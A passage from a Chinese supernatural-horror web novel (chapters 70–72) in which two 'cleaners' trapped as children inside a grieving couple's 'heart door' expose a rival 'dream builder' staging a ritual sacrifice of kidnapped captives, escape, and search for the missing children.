宿珩看着他,开口问道。 肖靳言却像是没听到他的话一般,径直走到那张铺着卡通床单的小床边,毫不客气地一屁股坐了下去,然后身子一歪,直接大咧咧地躺倒在床上。 他双手枕在脑后,长长地舒了一口气,闭上了眼睛。 “困死了,这两天加起来都没睡几个小时,我得好好补一觉,养精蓄锐。” 肖靳言的声音带着几分慵懒和疲惫,像是真的打算就这么睡过去一样。 宿珩:“……” 他站在床边,看着某人毫无形象地霸占了他的床铺,一时间竟有些无可奈何。 最终,宿珩没有再多说什么,只是走到窗边,仔细听着外面的动静。 不知道那对夫妻今晚会什么时候回来。 房间里一时陷入了安静,只剩下肖靳言平稳的呼吸声。 这一次,王彦宏和陶玉芝回来的时间,比前两天都要晚一些。 当楼下终于传来钥匙开锁的声音和熟悉的脚步声时,宿珩紧绷的神经才微微一松,但随即又提了起来。 他快步走到床边,伸出手,轻轻拍了拍肖靳言的胳膊。 几乎是在他指尖触碰到肖靳言手臂的瞬间,那个原本似乎熟睡的人便睁开了眼睛。 那双眸子在黑暗中依旧清亮慑人,没有丝毫刚睡醒的迷糊与惺忪。 宿珩没有说话,只是用下巴朝着房间角落那扇紧闭的衣柜示意了一下。 肖靳言“啧”了一声,脸上带着几分被打扰的不爽,但动作却异常麻利地从床上一跃而起。 他没有丝毫犹豫,几步走到衣柜前,拉开柜门,直接钻了进去,并将柜门从里面轻轻掩上,只留下一道极细的缝隙。 宿珩这才迅速回到床上躺下,拉过被子盖好。 被褥上,还残留着肖靳言身体的余温。 几乎就在他刚刚闭上眼睛,调整好呼吸的瞬间—— “咔哒。” 儿童房的门锁转动,房门被轻轻推开。 王彦宏高大的身影出现在门口,他并没有立刻走进来,而是站在那里,目光在昏暗的房间内缓缓扫视。 当看到床上那个小小的身影似乎已经熟睡,呼吸平稳时,他脸上的神情才略微缓和了几分。 王彦宏轻手轻脚地走进来,将房间的灯关掉,但并没有立刻离开。 他静静地站在黑暗的门口,像一尊沉默的雕像,一动不动地等了好一会儿,似乎在确认着什么。 最终,他才悄无声息地退出了房间,重新将房门从外面轻轻锁上。 宿珩在黑暗中睁开眼睛,屏住呼吸。 他听到王彦宏在门外故意放重了几下脚步声,像是朝着楼梯口走去。 但宿珩知道,他没有真的离开。 他甚至能感觉到,王彦宏的耳朵,此刻恐怕正紧紧地贴在冰冷的门板上,仔细聆听着房间内的一丝一毫动静。 时间一分一秒地过去。 这种无声的对峙,压抑得让人喘不过气。 足足过了将近五分钟,宿珩才听到门外传来一声极轻微的,仿佛松了口气的细碎声响。 随后,才是真正远去的脚步声。 王彦宏,终于离开了。 …… 王彦宏沉重的脚步声终于彻底消失在门口。 宿珩紧绷的神经刚要松懈,正准备翻个身,身侧的床垫却猛地向下一陷。 下一瞬,带着温热气息的身体,挤进了他温热的被窝。 宿珩:“……” 他有些无语,身体下意识地僵了僵。 幸好这张儿童床做得足够宽大,此刻挤进两个“小孩”,倒也不显得太过拥挤。 只是,床上只有一个枕头。 肖靳言仿佛丝毫没有边界感,脑袋一歪,便强行挤占了大半个枕头。 宿珩被迫与他头挨着头,鼻尖甚至能蹭到对方微凉的发丝。 宿珩能清晰感受到肖靳言温热的呼吸,一下下喷洒在他的耳廓和颈侧,带着些微的痒意。 他皱了皱眉,伸出手,不轻不重地推了推肖靳言的脑袋。 “干什么?” 肖靳言含糊地问,声音里带着刚从衣柜里出来的憋闷,还有一丝故意的懒散。 “你吵到我睡觉了。” 宿珩的声音压得很低,带着一丝不爽。 这人怎么一点自觉都没有。 肖靳言发出一声极轻的闷笑,气息拂过宿珩的耳朵。 “都一起睡过好几次了,你脸皮怎么还这么薄?” 宿珩懒得理他这近乎调戏的言语,直接翻了个身,将后脑勺留给了肖靳言。 肖靳言看着眼前这颗毛茸茸、圆鼓鼓的后脑勺,终是没忍住,低低地笑出了声。 下一秒—— “嘶……” 宿珩在被子里不轻不重地踹了他一脚。 肖靳言吃痛,这才收敛了笑意,手臂却顺势环了过来,调整了个舒服的姿势,闭上眼睛,呼吸渐渐变得平稳悠长。 宿珩身体又是一僵。 他想把那只手拨开,却又架不住这人无赖,甩开一次又搭一次,接连几次过后,宿珩只好忍了下来,心底暗骂一句“无赖”。 …… 第二天一早,天刚蒙蒙亮。 儿童房的门锁再次转动。 陶玉芝端着一个餐盘走了进来,脸上依旧挂着那抹程序化的温柔笑容。 宿珩已经起床了,正蹲在地毯上,慢条斯理地收拾着散落一地的积木,将它们一块块放回原处的玩具箱里。 陶玉芝的目光在房间里不着痕迹地扫视了一圈,最后落在宿珩身上。 她将餐盘放到床头柜上,柔声道:“小远,先别玩了,吃早饭吧。” 餐盘里是一杯温热的牛奶,两片烤得金黄的吐司,还有一个剥了壳的白煮蛋。 宿珩站起身,走到床边,接过那杯牛奶,刚喝了一小口。 陶玉芝便开口说道:“小远,待会儿会有一个小朋友过来找你玩哦。” 宿珩端着牛奶杯的手微微一顿,心中泛起一丝诧异。 但他面上依旧是一副乖巧安静的模样,他抬起头,看向陶玉芝,轻声问道:“是谁呀?” 陶玉芝像是想到了什么备受期待的事情,伸出手指,轻轻掩着嘴笑了起来。 “呵呵,待会儿你就知道了,是个很可爱的小弟弟呢。” 说完,她又补充道:“妈妈要去准备一些小零食和水果,好好招待一下你的新朋友。” 她理了理宿珩额前的碎发,叮嘱他好好吃饭,便转身走出了儿童房,再次将门从外面反锁好。 等陶玉芝下楼的脚步声彻底消失后。 “吱呀”一声轻响,房间角落的衣柜门被从里面推开了一条缝。 肖靳言的身影从里面钻了出来,他伸了个大大的懒腰,活动了一下有些僵硬的筋骨,嘴里小声嘀咕:“这破衣柜,迟早散架。” 然后,他几步走到床边,毫不客气地一屁股坐了下去,顺手端起宿珩放在床头柜上那杯还剩大半的牛奶,仰头一口气喝了个干净。 宿珩瞥了他一眼,没作声。 肖靳言放下杯子,抹了抹嘴角,挑眉看向宿珩,眼底带着几分兴味。 “我倒是很好奇,这个所谓的‘小朋友’,会是谁。” 宿珩不置可否地“嗯”了一声。 他总觉得这件事有些不太对劲,这对夫妻将他看得这么紧,怎么会突然允许一个“外人”来接近他。 这不符合他们之前的行为逻辑。 过了约莫十几分钟,楼梯处再次响起了脚步声。 这一次,不止一个。 肖靳言立刻又钻回了衣柜。 陶玉芝的声音带着笑意,在门外响起:“小远,你的朋友来了哦。” 房门被打开,陶玉芝先一步走了进来,脸上堆满了热情的笑容。 在她身后,一个小小的身影慢慢探出了半个身子。 那是一个看起来约摸只有五六岁大的小男孩,一头柔软的棕色小卷毛乱蓬蓬地顶在头上,像刚睡醒的小奶狗。 他有一双又大又圆的眼睛,瞳仁是纯粹的深黑色,像两颗水汪汪的黑葡萄,此刻正怯生生地眨动着。 小男孩似乎有些怕生,小手紧紧抓着陶玉芝的衣角,只露出小半张白净的脸,好奇又带着几分胆怯地打量着房间里的宿珩。 陶玉芝弯下腰,温柔地鼓励道:“去吧,跟小远哥哥打个招呼。” 那小卷毛男孩这才松开陶玉芝的衣角,往前挪了两小步。 他看着宿珩,伸出细嫩的小手,声音也是软糯糯的:“小远哥哥,你好。” 宿珩看着眼前这个突然出现的小男孩,眉头几不可察地微微蹙了一下。 他并不认识这个孩子。 这个小男孩给他的感觉非常奇怪,他身上有着孩童特有的纯真与懵懂,看起来就像一个真正不谙世事的幼童。 但宿珩却隐隐觉得,似乎又不止于此。 那种感觉很微妙,一闪而逝,难以捕捉。 与此同时,衣柜里,肖靳言听到小男孩的声音,眼神蓦地深了几分。 70-80 第71章 第 71 章 失落的小孩12 陶玉芝脸上堆着笑, 将那小卷毛男孩往前推了推。 “小远,这是韩叔叔家刚找回来的小儿子,叫韩牧川, 比你小一岁,你叫他小川就行。” 她说话时,眼神不自觉地朝韩牧川瞟了瞟, 带着几分小心。 宿珩的目光在韩牧川脸上停顿片刻。 那孩子怯生生的,但眼神深处似乎有什么东西一闪而过。 他垂下眼帘,应道:“小川弟弟。” “哎, 真乖。” 陶玉芝脸上的笑容愈发灿烂, 她轻轻拍了拍韩牧川的背, “你们先玩,我去楼下拿些零食和水果上来。” 说完, 她便转身离开了儿童房。 这一次,陶玉芝离开时,门并没有像往常一样被反锁。 门刚一合上,那个叫韩牧川的小男孩便迈着小短腿, 哒哒哒地跑了进来。 他径直走到宿珩面前, 伸出那只白嫩的小手, 一把抓住了宿珩的手。 “小远哥哥……” 韩牧川仰起头, 一双乌溜溜的大眼睛里,闪烁着孩童特有的纯真与崇拜。 “你长得好漂亮, 像个布娃娃一样。” 宿珩眉心微不可察地动了动,想抽出自己的手, 却发现对方小小的手掌抓得意外的紧。 那力道,根本不像一个五六岁的孩子该有的。 韩牧川拉着他,走到房间中央那堆散落的积木前, 用软糯的声音邀请道:“小远哥哥,你教我堆积木好不好?” 宿珩没有动,也没有回答。 他那双漆黑的眸子平静地注视着眼前这个“小男孩”,心中已经了然。 这个人,并不是纯粹的小孩。 和他一样,内里,是个成年人。 片刻后,他淡淡开口:“放手。” 见宿珩眼神冷淡,没有丝毫被哄骗到的模样,韩牧川脸上的笑容慢慢淡了下去。 他松开宿珩的手,小大人似的耸了耸肩:“真没意思,一点也不好玩。” 宿珩的视线落在他身上,眸光冷淡,“是你装得太像,有时候太像也是一种破绽。” 韩牧川闻言,反而笑了起来。 那笑容带着几分与年龄不符的狡黠:“原来是这样吗?他们可都没有发现呢。” 他甚至还带着点小得意。 韩牧川慢悠悠地蹲下身,伸出小手随意摆弄着地上的积木,积木块在他手中发出清脆的碰撞声。 忽然,他抬起头,那双纯黑的眼珠看向宿珩,声音轻飘飘的,却带着一丝笃定。 “你是清理师吧?” 宿珩的眼神骤然一凝,心底的警惕瞬间提到了最高。 他没有正面回答,只是反问道:“是又怎么样,不是又怎么样?” 韩牧川发出一声轻笑,从地上站起身,双手抱在胸前,好整以暇地靠在了旁边的衣柜门上。 他那张稚嫩的小脸上,此刻却是一副老气横秋的模样,黑葡萄般的大眼睛里闪烁着莫名的光彩,一瞬不瞬地盯着宿珩。 “我早就听说,京州清理办新招进了一个既聪明又好看的新人。” 韩牧川的声音带着孩童的清脆,语气却充满了成年人的审视与轻慢。 “好看倒是真的,至于聪明嘛……”他拖长了尾音,哼了一声,“那可未必。” 宿珩不清楚对方这莫名的敌意从何而来。 恰在此时,楼梯口传来了陶玉芝的脚步声。 很快,陶玉芝端着一个放满了零食和水果的托盘走了进来,脸上依旧是那副热情的笑容。 “小远,小川,快来吃东西。” 然而,韩牧川却像是完全变了个人,连伪装都懒得继续。 他皱着小小的眉头,语气不耐地对陶玉芝说道:“东西放下,你出去。没有我的话,不准进来。” 陶玉芝脸上的笑容瞬间僵住,眼中闪过一丝显而易见的畏惧与瑟缩。 她似乎早就知道韩牧川的真实身份,不敢有丝毫违逆,连忙将托盘放到床头柜上,然后便低着头,快步退出了房间,还小心翼翼地将房门轻轻带上。 韩牧川对心门主人颐指气使的态度,让宿珩心中的猜测愈发清晰。 一个能在这扇心门之中,对心门主人发号施令的人,并且和他们一样,都变成了孩童的形象。 他绝对不是普通人。 如果他不是清理师,那么凭借他对清理办和心门的了解,这个人,必定也是从无限世界出来的。 只不过,他并未加入清理师协会。 这样的话,他的身份只可能是一种—— 游离在清理师协会之外,当初无限世界的玩家。 “从某种层面上来说……”宿珩看着他,平静地开口:“我们其实算是同行。” 韩牧川闻言,发出一声不屑的冷嗤,刚要开口反驳—— “砰!” 一声巨响。 他身后那扇紧闭的衣柜门,竟被人从里面一脚狠狠踹开! 靠在柜门上的韩牧川猝不及防,整个人被这股巨大的力道带着,一个趔趄,狼狈地向前扑倒在地。 韩牧川显然没有料到,这衣柜里竟然还藏着另一个人。 而且还是用这么粗暴的方式登场。 他那张漂亮的小脸上写满了震惊与错愕,猛地抬起头,看向从衣柜里施施然走出来的那个身影。 那是一个同样穿着破旧衣衫,脸上带着几分泥痕的“男孩”。 但那双深邃的眼瞳里,却闪烁着令人心悸的冷光,嘴角还噙着一丝若有若无的嘲弄。 “是你?” 韩牧川失声叫道。 肖靳言双手插在裤兜里,居高临下地看着趴在地上的韩牧川,发出一声冷哼: “我也没想到,会是你这条躲在阴沟里的老鼠。” 他的目光锐利如刀,语气中充满了毫不掩饰的嘲讽与厌恶。 “亏你们还敢自诩‘筑梦人’,我看,不过是个不折不扣的搅局者罢了!” 宿珩的眉头蹙了一下。 他看向肖靳言,低声问道:“筑梦人?” 这个称呼,他还是第一次听说。 肖靳言瞥了一眼地上狼狈的韩牧川,言简意赅地解释道:“一群拒绝了国家邀请,脑子不正常,且异想天开的家伙。” “他们自诩为‘筑梦’,实际上是妄图重塑那个早已破损的无限世界,恢复那个充满了暴虐、阴暗和怨念的病态乐园。” 他顿了顿,语气中带着一丝显而易见的厌恶。 “这些所谓的‘筑梦人’,和清理师的目的截然相反。” “清理师负责消除心门内的绝望,达到一种类似救赎的目的。” “而他们——则是纵容、放大心门内的恐惧和绝望,以此来收集无限世界的规则碎片,妄图借此重塑无限世界。” 宿珩闻言,眸光微沉。 他瞬间明白了。 这些人,恐怕是在那个扭曲的无限世界待得太久,思维和认知都出现了严重的偏差,才会将那样一个充满痛苦和绝望的地方,当成了所谓的“梦想”,反而排斥起正常的现实世界。 被肖靳言一语道破身份,又被如此粗暴地对待,韩牧川那张稚嫩的小脸上却不见丝毫慌乱。 他慢条斯理地从地上爬了起来,伸出小手拍了拍身上沾染的灰尘,很快便恢复了镇定,仿佛刚才那个狼狈摔倒的小孩不是他一样。 他抬起头,那双纯黑的眼珠看向肖靳言,嘴角勾起一抹与年龄不符的冷笑。 “我道是谁,原来是你啊,鼎鼎大名的肖处长。” 韩牧川的目光在肖靳言身上打量了一圈,又扫了一眼旁边的宿珩,语气带着几分恍然。 “我早就该猜到,能悄无声息潜入这里,还让王彦宏和陶玉芝那两个蠢货毫无察觉的,除了你这个唯一的SSS级清理师,京州也找不出第二个了。” 他顿了顿,眼中闪过一丝意外,但很快又被那种尽在掌握的自信所取代。 “虽然你躲在衣柜里确实让我有些意外。不过……事情的走向,依旧在我掌握之中。” “即便你是有着‘渎神者’称号的肖靳言,在这仅剩的这点时间里,也掀不起什么水花了。” 肖靳言闻言,发出一声不屑的冷哼。 他手腕一翻,那柄闪烁着寒光的黑色短刀再次出现在掌心。 他慢条斯理地掀起自己破旧衣衫的一角,仔细擦拭着那冰冷的刀锋,动作优雅得仿佛在擦拭一件稀世珍宝。 “刘芳家里那些邪咒,还有萧红身上的变化,是出自你的手笔吧?” 肖靳言的目光锐利如鹰,紧紧锁定着韩牧川。 韩牧川故作无辜地,眨了眨那双黑葡萄般的大眼睛,摊开小手。 “你在说什么?我可不知道什么邪咒。” 肖靳言不再与他废话。 他径直走到那张卡通小床边,猛地伸手掀开了铺在上面的床垫。 床板之上,赫然露出了几道早已不知干涸多久,呈现出暗沉褐红色的不规则痕迹。 那些痕迹的形状,与肖靳言在刘芳家墙壁上,以及衣柜下方深坑坑壁上所见的那些扭曲邪异的符咒图案,几乎一模一样。 宿珩看到那些图案的瞬间,只觉得一股寒意从脚底猛地窜了上来,头皮一阵发麻。 他下意识地摸了摸自己的手臂,仿佛那些看不见的邪咒也曾试图侵蚀自己。 而韩牧川在看到床板上那些清晰可见的咒文时,脸上的镇定自若终于出现了一丝裂痕。 他皱了皱眉,随即轻轻叹了口气,仿佛在惋惜什么精心准备的玩具被人提前拆穿了。 宿珩的心头猛地一跳,一个念头如同闪电般划过脑海。 他瞬间明白了韩牧川出现在这里的真正目的。 按照肖靳言之前的说法—— 那个名叫萧红的白领,正是在这种邪咒的影响下,一点点地被扭曲,逐渐变成了刘芳记忆中女儿的模样。 而自己。 在这栋小楼里,在这张床上睡了整整三个晚上,却并没有像陶玉芝和王彦宏所期盼的那样,逐步转变成他们心中“小远”的模样。 这一点,从王彦宏对他日益加深的怀疑和警惕就能看得出来。 恐怕在这对夫妻的心目中,自己现在连个半成品都还算不上。 而韩牧川的到来,恐怕正是因为此事。 他是来“修正”或者“加速”这个过程的。 韩牧川似乎也没想到,自己精心布置的手段,会以这样一种方式彻底暴露在肖靳言和宿珩面前。 他再次深深地叹了口气。 那张稚嫩的小脸上露出了几分与年龄不符的无奈与遗憾,甚至还带了点被戳穿把戏后的不悦。 他忽然转过头,朝着紧闭的儿童房门外高声喊道:“行了,别在外面傻站了,你们两个现在该死心了吧?” 他的声音不大,却带着一种不容置喙的命令口吻。 “我早就跟你们说过,想找回你们的孩子,靠那种温吞的软化和所谓的慈爱是行不通的,必须得来硬的!” 韩牧川话音刚落。 儿童房的门“吱呀”一声,被人从外面推开。 王彦宏和陶玉芝的身影,如同两具没有灵魂的行尸走肉般,缓缓走了进来。 他们的脸色阴沉得可怕。 王彦宏的脸更是黑得几乎能滴出水来,眼神中充满了暴戾与绝望。 陶玉芝脸上原本还带着一丝若有若无的不忍与挣扎。 但在接触到韩牧川那冰冷审视的目光后,那丝不忍迅速褪去,取而代之的是一种近乎麻木的决绝与冷漠。 夫妻两人死死地盯着房间里的宿珩,以及那个突然出现的,穿着破旧衣衫的“流浪小孩”肖靳言。 他们的身体,在宿珩和肖靳言的注视下,开始发生着某种诡异的变化。 皮肤之下,仿佛有无数细小的虫子在蠕动,关节发出令人牙酸的“咔咔”声。 “小远……” 陶玉芝没有血色的苍白嘴唇蠕动着,发出沙哑而诡异的声音,眼神直勾勾地看着宿珩。 “小远是个乖孩子……小远不会离开妈妈的……对吗?” 王彦宏则发出一声压抑的低吼,那双布满血丝的眼睛里,闪烁着疯狂的光芒。 肖靳言向宿珩极快地使了个眼色。 宿珩瞬间会意。 几乎是在同一时刻,两人动了! 肖靳言手中的黑色短刀化作一道乌光,直逼向挡在门口的王彦宏。 王彦宏怒吼一声,伸出那只已经开始变形,指甲变得又长又尖的手,试图抓住肖靳言。 但肖靳言的身形如同鬼魅般灵活,他脚下一错,险之又险地避开了王彦宏的扑抓。 同时手腕一抖,短刀在王彦宏的手臂上划开一道深深的口子。 王彦宏吃痛,捂着手臂退了两步。 宿珩趁着这个空隙,如同一阵风般绕开他,从陶玉芝的身侧冲了过去。 陶玉芝尖叫着想要拦住宿珩,但她的动作在宿珩眼中显得迟缓而笨拙。 两人一前一后,配合默契,转眼间便冲出了儿童房,沿着楼梯向楼下飞奔而去。 他们一路畅通无阻地冲出那栋阴沉的小楼。 肖靳言没有丝毫停顿,抬脚便是一记势大力沉的猛踹,直接踹在了没有完全锁死的院门上。 “哐当!” 一声巨响。 铁门应声而开。 两人没有片刻迟疑,立刻冲出了院子。 王彦宏和陶玉芝嘶吼着想要追出去,扭曲的身体撞在门框上,发出沉闷的声响。 “别追了,你们的‘小远’还有备选,急什么?” 韩牧川幽幽的声音从他们身后传来,带着一丝莫名的寒意。 他慢悠悠地走到门口,看着宿珩和肖靳言消失在街道拐角的身影,嘴角勾起一抹诡异的笑容。 “时间已经不多了。” 他轻声说道,像是在自言自语,又像是在对那对已经失去理智的夫妇解释。 “圣祭……很快就要开始了。” “他们逃不掉的。” 听到“圣祭”两个字,王彦宏和陶玉芝那疯狂的动作猛地顿住了。 他们转过身,看向韩牧川,眼中闪过一丝决然。 但更多的却是被某种更深沉的绝望所取代的……死寂。 他们看着那扇大开的院门,脸上不由自主地露出了浓浓的愤恨与遗憾。 以及一丝……病态的期待。 第72章 第 72 章 失落的小孩13 两人冲出院子, 身影飞快地消失在梧桐路街道深沉的夜色之中。 肖靳言拉着宿珩,一路疾奔,很快便来到了之前那些流浪孩子们栖身的桥洞。 桥洞里阴冷潮湿, 空荡荡的,只有地上残留着一摊早已熄灭的柴火灰烬,再无他物。 袁广他们几个, 并不在这里。 肖靳言蹲下身,捻起一点灰烬,眉头蹙得更紧。 这柴火堆, 看样子已经熄灭了至少一整夜, 昨晚根本没有重新点燃的痕迹。 这意味着, 袁广他们很可能昨晚一夜未归。 最坏的可能性是—— 他们已经被抓走了。 甚至,此时的他们有可能像萧红那样, 被锁在某个阴暗的角落,在绝望中等待着变成另一个人。 肖靳言正思忖着,桥洞外忽然传来一阵急促的脚步声。 一道瘦小的身影踉踉跄跄地跑了进来,一边跑一边喘着粗气。 “老大!宿珩!” 来人正是闫知许。 他看到桥洞里的肖靳言和宿珩, 紧绷的脸上顿时露出了如释重负的表情。 “袁广他们呢?” 肖靳言沉声问道。 闫知许扶着膝盖喘了几口粗气, 才摇了摇头, 声音有些沙哑。 “我回来之后就到处找了, 这附近所有他们可能去的地方都找遍了,根本没看到人影。” 宿珩清冷的目光扫过空荡的桥洞, 低声开口:“韩牧川之前说,‘时间已经不多了’, 这是什么意思?” 肖靳言闻言,眼神骤然一凝,脸色沉了下去, 周身的气息也冷了三分。 “圣祭。” 他几乎是从牙缝里挤出这两个字。 宿珩对这个词感到陌生,眉宇间露出一丝疑惑,但那不祥的预感却让他心头一紧。 但一旁的闫知许在听到这两个字后,脸色却骤然大变,像是听到了什么禁忌之语,身体都控制不住地抖了一下。 “圣……圣祭?” 闫知许的声音带着难以置信的震惊,“老大,你是说……” 肖靳言神色凝重,眼底掠过一丝厌恶。 “这是一森*晚*整*理种极其邪恶的仪式。” “通过那些刻印在特定地点的邪咒作为引导,将掳来的‘祭品’的痛苦、恐惧和绝望情绪不断放大、收集,最终献祭给心门本身。” “以此,来换取心门主人内心深处最渴望得到的东西。” “就像这扇心门里……” 肖靳言的目光骤然变得冰冷。 “他们献祭萧红,献祭袁广,献祭所有被他们掳来的人,目的就是为了换回他们记忆中,早已失去的骨肉,用无数新的悲剧,去填补一个旧的伤口。” 闫知许听得头皮发麻,他忽然想到了什么,急忙道:“老大,这……这听起来,很像‘筑梦人’的手笔啊!” “你说对了,这里就有一个‘筑梦人’。” 肖靳言声音低沉而冷冽,“但普通的筑梦人,恐怕还没有这么大的本事,也没这么阴毒的心思。 那个叫韩牧川的家伙,不简单。” 他抬手按了按眉心。 “所有选择加入清理师协会的无限世界老玩家,都在国家特殊人才档案局有详细的登记备案。” “但那些游离在协会之外,选择成为‘筑梦人’的玩家,数量虽然相对较少,却也同样是一个不容忽视的庞大群体,而且行事更加诡秘。” 肖靳言的记忆力极好,但一时半会儿,他也想不起关于“韩牧川”这个名字的任何具体信息。 “或者说——” 肖靳言的语气愈发沉凝。 “这扇心门的出现,本身就是在韩牧川的精心引导和策划下诞生的。” “他很可能与王彦宏、陶玉芝这群绝望的失孤父母达成了某种肮脏的交易——他利用这种邪恶的‘圣祭’仪式,帮助他们‘找回’自己的孩子。” “而他自己,则从中窃取心门逸散出的规则碎片,用以重塑那个早已崩塌的无限世界。” 听完肖靳言的叙述,桥洞内的气氛一时间压抑到了极点。 目前来看,继续在这里逗留已经没有任何意义。 当务之急,是必须尽快找到那些失踪的孩子,阻止这场即将开始的“圣祭”。 “我们去刘芳家看看。”肖靳言当机立断。 三人立刻动身,朝着刘芳家那栋低矮破旧的民房赶去。 然而,当他们抵达时,却发现那扇熟悉的木门虚掩着,里面空无一人。 肖靳言推开门,率先走了进去。 屋内的场景和他上次来时,没有丝毫变化。 肖靳言的目光在屋内快速扫过,随即停留在原本摆放着相框的桌面上。 刘芳和她女儿那张唯一的合照,此刻不见了踪影。 肖靳言快步走到那间曾经囚禁着萧红的卧室门前,挂在门上的锁链随意丢在地上,锁头大开着。 他推开房门。 卧室内,同样是空无一人。 萧红早已不见了人影,只剩下墙壁上的扭曲邪咒,在昏暗的光线下依旧散发着令人不安的邪异气息。 那副曾经锁住萧红手脚的铁链,此刻孤零零地敞开着,被随意丢弃在冰冷的地面上,仿佛在无声地诉说着曾经发生在这里的绝望。 肖靳言的目光扫过空荡的房间,脑海中不由自主地浮现出老教堂内,那些围成一圈的十三把老旧木凳。 十三把凳子,代表着至少有十三个像王彦宏、刘芳这样的家庭。 这意味着,失踪的孩子,至少也有十三个,甚至更多。 萧红,绝对不是第一个被他们用这种方式‘转化’和带走的人。 在萧红之前,恐怕已经有其他孩子遭遇了不测,或者正被关在某个地方,等待着成为圣祭的祭品。 宿珩从进门到现在一直保持着沉默。 他仔细观察着房间内的每一处细节,感受着空气中残留的负面情绪。 甚至走到墙边,凝神注视着墙上的诡异咒文。 片刻后,他忽然抬起头,目光仿佛透过那堵墙壁,望向了街道尽头那座尖顶的老教堂。 他若有所思地开口:“互助会。” 闫知许看向宿珩,差不多明白了他心中所想。 他连忙问:“我们要去老教堂吗?” 宿珩却没动,他蓦地想起来,肖靳言昨晚给他描述的衣柜下的地坑。 他缓缓转身,直视着肖靳言,说:“再等等。” 肖靳言虽说暂时不明白他的意图,但看着宿珩那双清澈而坚定的眼睛,他点了点头,没有多问。 …… 袁广醒来的时候,只觉得后颈一阵钝痛,脑袋昏沉得厉害。 他艰难地睁开沉重的眼皮,眼球费力地聚焦,映入眼帘的是一片摇曳不定的昏黄。 鼻息间尽是潮湿的泥腥味,还夹杂着一股令人作呕的淡淡腐臭,像是置身于一个许久未曾通风的地窖。 他晃了晃混沌的脑袋,试图看清周围的景象。 这是一个不大的土坑,坑壁粗糙,湿漉漉的,上面胡乱插着几根燃烧的蜡烛。 蜡油滴淌,昏黄的烛光将四周映照得影影绰绰,更添了几分阴森。 袁广动了动身体,这才发现自己手脚都被粗麻绳捆得结结实实,像一头待宰的猪仔般被丢在冰冷潮湿的泥地上,手腕和脚踝处传来火辣辣的刺痛。 在他身旁不远处,横七竖八地躺着好几道身影,无一例外,都被五花大绑。 “唔……” 一声痛苦的呻/吟从旁边传来。 袁广费力地扭头看去,借着微弱的烛光,他勉强认出那是黄琳。 这小子也醒了,正一脸惊恐地瞪大眼睛,但嘴巴被破布堵着,只能发出含混不清的呜咽。 袁广心中一沉,视线快速扫过其他人。 他看到了另外两个和他们一起行动的小孩,也看到了几个完全陌生的面孔。 忽然,他的目光定格在其中一个身影上。 那是一个小女孩,穿着一身略显脏污的衣服,此刻同样被捆着手脚,晕死在地上,脸正好朝着他的方向。 袁广的瞳孔猛地一缩。 他认出来了,那是萧红! 那个最先失踪的女白领! 可是……那张脸,却又显得有些陌生。 虽然五官依稀还是萧红的模样,但整个人的气质和神态,甚至脸部细微的轮廓,都透着一股说不出的怪异,仿佛被强行扭曲成了另一个人。 袁广不由得打了个寒噤。 他之前在街边那些寻人启事上,好像见过……这张脸,属于某个失踪已久的小女孩。 难道……萧红被变成了那个女孩? 袁广强压下心头的惊骇,草草数了一下,包括他和黄琳在内,这里足足有十三个“孩子”! 但让他感到奇怪的是,少了三张熟悉的面孔。 第三个失踪的,貌似官方派来调查的男生不在这儿。 还有……那个叫韩牧川的小卷毛,以及那个气质冷酷,总是独来独往,名叫肖靳言的家伙,也不在这里。 他们没被抓住? 还是已经……死了? 袁广被自己突如其来的想法吓了一跳。 离他最近的黄琳正拼命地扭动着身体,试图挣脱绳索,但显然是徒劳。 袁广脑袋发沉,后颈的疼痛让他难以集中精神,勉强才回想起昨晚发生的一切。 他和另外两个同伴,趁着夜色,偷偷摸摸地溜到中年男人居住的平房附近,想要找到失踪的黄琳。 他们小心翼翼地摸到平房后院。 竟然发现地上有一个新挖出来的地窖入口,用一块破木板掩盖着,缝隙里透出微弱的呼救声。 三人心中顿时一凛,交换了一下眼神,壮着胆子掀开木板。 果然在下面黑漆漆的地窖里,找到了被铁链锁在墙上的黄琳。 黄琳看到他们,先是又惊又喜,差点叫出声来。 但就在袁广试图帮他拽开锁住手脚的铁链时,黄琳的表情却突然变得惊恐万状,他瞪大了眼睛,死死地盯着袁广他们身后。 袁广心中一咯噔,暗道不好。 他猛地回头,便看到那个去而复返的中年男人,正一脸狰狞地堵在地窖口,手里还拿着一根粗木棍。 除了他之外,还有一对神色阴鸷的中年夫妻,另外,还有一男一女两个陌生面孔,同样神色不善地看着他们,像在看几只自投罗网的老鼠。 后面的事情,袁广就不太记得了。 他只记得一阵剧痛袭来,眼前一黑,便彻底失去了知觉。 再次醒来,就是现在这副光景了。 “呜呜……呜……” 黄琳还在徒劳地挣扎,绝望的呜咽声在寂静的地窖里显得格外清晰。 袁广用仅能活动的脚,不轻不重地踹了黄琳一下。 黄琳被踹得一个激灵,停止了挣扎,惊恐地看向袁广,眼神里满是求助。 袁广朝他使了个眼色,示意他冷静下来,别出声。 现在哭闹根本没用,只会白白浪费力气,还可能惹来麻烦。 黄琳终于意识到这一点,他强迫自己冷静下来,但身体依旧控制不住地瑟瑟发抖。 他用舌尖费力地把堵在嘴里的破布往外推了推,带着哭腔,含混不清地问道:“袁……袁广……这……这是哪儿啊?” 袁广没有回应他,目光越过黄琳,慢慢落在地窖的尽头。 那里,赫然立着一扇巨大的铁门! 那铁门呈现出一种暗沉的锈红色,门板上布满了斑驳的痕迹,看上去沉重无比。 更令人心悸的是—— 门上用不知是红锈还是干涸血迹的东西,画着一幅巨大且诡异的复杂纹路,扭曲缠绕,像某种邪恶的图腾。 袁广虽然看不懂那是什么,但一种源于本能的恐惧让他头皮发麻。 直觉告诉他,这玩意儿,绝对不是什么好东西! 就在这时—— “踏……踏……踏……” 一阵清晰的脚步声,从地窖入口的方向传来,而且听起来不止一个人,像是一群人。 袁广心中猛地一紧,立刻朝黄琳使了个眼色,示意他赶紧装晕。 黄琳也是个机灵的,连忙闭上眼睛,身体软了下去。 袁广也迅速闭上眼,但他却偷偷眯起一条极细的缝,警惕地打量着脚步声传来的方向。 不多时,几道身影出现在了地窖入口,昏黄的烛光将他们的影子拉得细长而扭曲。 当看清为首那人的瞬间,袁广倒吸一口凉气,差点没忍住惊呼出声。 只见一个穿着一身剪裁合体的黑色小西装,打着领结,头发梳得整整齐齐的小男孩,正迈着从容的步伐,走在最前面。 那男孩约莫五六岁的年纪,一头柔软的棕色小卷毛,长着一双黑葡萄似的眼睛,皮肤白净,漂亮得像个精致的洋娃娃。 居然是早就失踪的韩牧川! 而在韩牧川身后,亦步亦趋地跟着十多个形色各异的成年男女。 